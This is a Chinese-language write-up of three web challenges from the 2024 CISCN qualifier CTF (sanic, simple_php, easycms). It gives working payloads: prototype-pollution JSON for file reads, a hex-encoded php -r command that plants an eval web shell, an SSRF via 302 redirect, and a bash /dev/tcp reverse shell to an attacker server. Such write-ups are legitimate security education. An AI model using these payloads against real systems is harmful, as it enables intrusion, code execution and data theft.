2024-CISCN-线上初赛-web方向题解
复现平台ctfshow
sanic
题目提示
1 | 题目描述:sanic能有什么问题呢? |
读到/src
1 | from sanic import Sanic |
本地创建虚拟环境,还原题目
vscode提供直接生成虚拟环境
1 | pip install sanic |
审计发现admin路由存在原型链污染的操作 前提是session提取出来的admin的值要为true
我们可以通过/login路由进行伪造,当我们cookie传的user的值为adm;n时,会给我们设置为true
但是在cookie中分号被视为分隔符,正常传肯定失败,那我们就要去分析能否绕过
(当然肯定可以不然没法解)
既然是sanic的框架 我们去sanic框架的源码中找一下cookie的处理逻辑,在路径
1 | sanic/cookies/request.py |
发现_unquote函数开头会去掉双引号且存在八进制解码的逻辑,于是找到绕过办法
1 | "\141\144\155\073\156" |
1 | def _unquote(str): # no cov |
开始尝试污染
思路很明确就是污染__file__变量,达到任意文件读取
但还是需要绕过_.的过滤,我们利用类似转义的方式去绕过
所以我们可以使用如下payload进行读文件
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"} |
尝试直接读/flag(肯定不能这样简单),所以我们继续寻找可污染变量
哪可能存在可能被污染的变量呢?注意到注册的 static 路由,我们跟进源码看一下
1 | def static( |
注意到directory_view和directory_handler
看下注释
1 | directory_view (bool, optional): 是否在展示目录时回退到显示目录查看器。默认为 `False`。 |
directory_view:是否显示目录视图。
directory_handler:目录处理器,用于自定义目录的响应行为。
跟进 directory_handler发现 directory_handler 是对 DirectoryHandler类的实例化
再次跟进DirectoryHandler
跟进这个类发现directory_view和directory可以猜想只要我们将directory污染为根目录,directory_view污染为True,就可以看到根目录的所有文件,也就能看到flag的名字
我们自己可以加个后门方便我们本地调试
然后我们本地起个服务
由于 sanic框架可以通过app.route.name_index[‘xxxxx’]来获取注册的路由 我们直接输出看看
1 | ?cmd=print(app.router.name_index['__mp_main__.static']) |
全局搜索name_index,看看是怎么调用的
打个断点 我们可以看见handler.keywords.directory_handler下存在我们想污染的变量
1 | src?cmd=print(app.router.name_index["__mp_main__.static"].handler.keywords["directory_handler"]) |
可以看到输出了这个对象 接下来访问这个对象的.directory_view
1 | print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory_view) |
发现为false 我们只需要污染为true即可
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": "True"} |
同理我们可以看见了他也存在directory
我们正常思路是去污染这个 来我们试试能不能访问
1 | print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'].directory) |
发现正是我们的当前目录 我们尝试污染
发现报错 我们跟进directory看看
发现 directory是一个对象,而它的值就是由其中 的parts属性决定的,但是由于这个属性是一个tuple,不能直接被污染,我们需要找到这个属性是如何被赋值的
继续看DirectoryHandler类
跟进Path对象
可以看到parts的值最后是给了_parts这个属性,我们访问这个属性看看:
发现这是一个list,允许污染!
给出污染链
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]} |
尝试利用ctfshow复现
访问/static/
找到flag名字
利用
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"} |
访问/src
simple_php
发现禁用了很多命令,但是我们可以通过
1 | php -r |
来利用服务器执行php代码间接执行系统命令
在这我采用16进制来采取编码
1 |
|
利用
1 | cmd=php -r eval(hex2bin(substr(_此处填 bin2hex编码之后的值,1))); //注意这个下划线是为了配合substr使用 |
我们直接把
1 | $originalString = "file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=='));";// <?php eval($_POST[1]);?> |
替换到上面的代码中然后执行得到
1 | 66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b |
然后post传参
1 | cmd=php -r eval(hex2bin(substr(_66696c655f7075745f636f6e74656e747328277368656c6c2e706870272c6261736536345f6465636f6465282750443977614841675a585a686243676b58314250553152624d5630704f79412f50673d3d2729293b,1))); |
直接蚁剑连接即可
发现目录里面没有flag文件,env也没查到环境变量有flag,猜测是在数据库里
检测到存在mysqli;猜测密码为root,root;登陆成功;查询flag
easycms
1 | 提示 |
比赛的时候是可以直接扫出来flag.php还有一些无关紧要的文件,访问之后回显
1 | Just input 'cmd' From 127.0.0.1 |
发现需要本地ip,可以rce,要利用到ssrf啦
去官网查查历史漏洞发现
但是应该是被修复了啊,管他呢,先去源码查查这个关键词qrcode发现在Api.php存在
下面if判断触发访问链接为thumb提供的url
结合文章
https://xz.aliyun.com/t/10002?time__1311=mq%2BxBD97qYqCqAKDsD7me5xrOD87KWqWK4D&alichlgref=https%3A%2F%2Fwww.google.com%2F
可以构造url
1 | ?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php |
但是测试发现是没办法直接通过127.0.0.1直接访问的,我们可以利用302跳转解决这个
1 | ?s=api&c=api&m=qrcode&text=1&thumb=http://服务器ip |
服务器index.php内容是:
1 | GIF89a |
保存一个jump.html
1 | bash -i >& /dev/tcp/服务器ip/666 0>&1 |
题目本身环境没问题,但是ctfshow复现环境用这个是打不通的
本地起了个服务测试是可以实现的,当时比赛也打出来了
第二个感觉是被修复了其实还是原来那个解法
只不过由于校验了图片格式所以要改一下跳转文件
1 | GIF89a |